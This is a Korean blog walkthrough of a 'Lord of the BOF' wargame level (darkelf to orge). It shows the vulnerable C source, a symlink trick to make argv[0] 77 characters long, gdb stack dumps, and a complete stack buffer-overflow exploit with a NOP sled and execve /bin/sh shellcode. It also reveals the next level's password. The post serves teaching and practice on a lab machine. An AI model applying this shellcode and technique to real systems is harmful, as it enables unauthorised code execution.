728x90

darkelf / kernel crashed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

darkelf 문제에서 argv[0]의 길이가 77이 되어야 하는 조건이 추가되었다.

실행파일을 실행할 때 argv[0]은 실행하는 명령어의 첫 번째 문자열이다.

ex) ./orge hello world의 경우 argv[0]은 ./orge

/home/darkelf/orge hello world의 경우 argv[0]은 /home/darkelf/orge

심볼릭 링크를 orge에 걸어서 심볼릭 링크 파일을 실행하면 argv[0]도 길이를 77로 만들 수 있다.

절대 경로로 실행파일을 실행하기 위해 77에서 /home/darkelf/ 의 길이 14를 뺀 63의 길이를 가지는 심볼릭 링크 파일을 만들었다. 심볼릭 링크 생성 명령어 형식은 ln -s 원본파일 심볼릭링크파일이다.

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  orge  orge.c

gdb를 실행해야 하기에 orge를 복사한 실행파일을 만들어 해당 실행 파일에 BBBBB....BB라는 심볼릭 링크 파일을 생성하였다. 위의 명령어 이용하면 된다.

0x804860e <main+270>:	push   %edx
0x804860f <main+271>:	lea    %eax,[%ebp-40]
0x8048612 <main+274>:	push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048613 <main+275>:	call   0x8048440 <strcpy>

buffer가 strcpy의 인자로 전달되기에 ebp-40이 buffer의 주소인 것을 알았다. argv[1]은 strcpy를 통해 buffer에 복사되기에 argv[1]의 값을 이용하여 retn 주소까지 덮어쓴다. 총 48 bytes가 되어 조건을 만족한다.

40 bytes(buffer)+4 bytes(sfp)+4 bytes(임의의 \x90의 주소)

이어서 argv[2]의 값을 다음과 같이 전달하여 여러 개의 \x90과 쉘 코드를 저장한다.

"\x90"*200+"쉘 코드"

argv[1]의 retn 주소를 설정하기 위해 gdb로 실행 후 실제 전달할 인자와 같은 길이의 문자를 대입해 본다.

(gdb) r `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048613 in main ()
(gdb) ni
0x8048618 in main ()

(gdb) x/200x $ebp
0xbffff978:	0x41414141	0xbfffffff	0x00000000	0xbffff9c4
0xbffff988:	0xbffff9d4	0x40013868	0x00000003	0x08048450
0xbffff998:	0x00000000	0x08048471	0x08048500	0x00000003
(생략)
0xbffffb18:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb28:	0x41414141	0x41414141	0x41414141	0xff414141
0xbffffb38:	0x00bfffff	0x90909090	0x90909090	0x90909090
0xbffffb48:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb58:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb68:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb78:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb88:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb98:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x42424242
0xbffffc08:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffc18:	0x42424242	0x00000042	0x00000000	0x00000000

\x90 주소 중 0xbffffb88을 이용하겠다.

[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\x88\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
bash$ my-pass
euid = 507
timewalker

argv의 인자로 `python ~~` 명령을 이용하는데 문법이 궁금하다면 내 티스토리의 ftz level11 글을 참고하길 바란다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21

+ Recent posts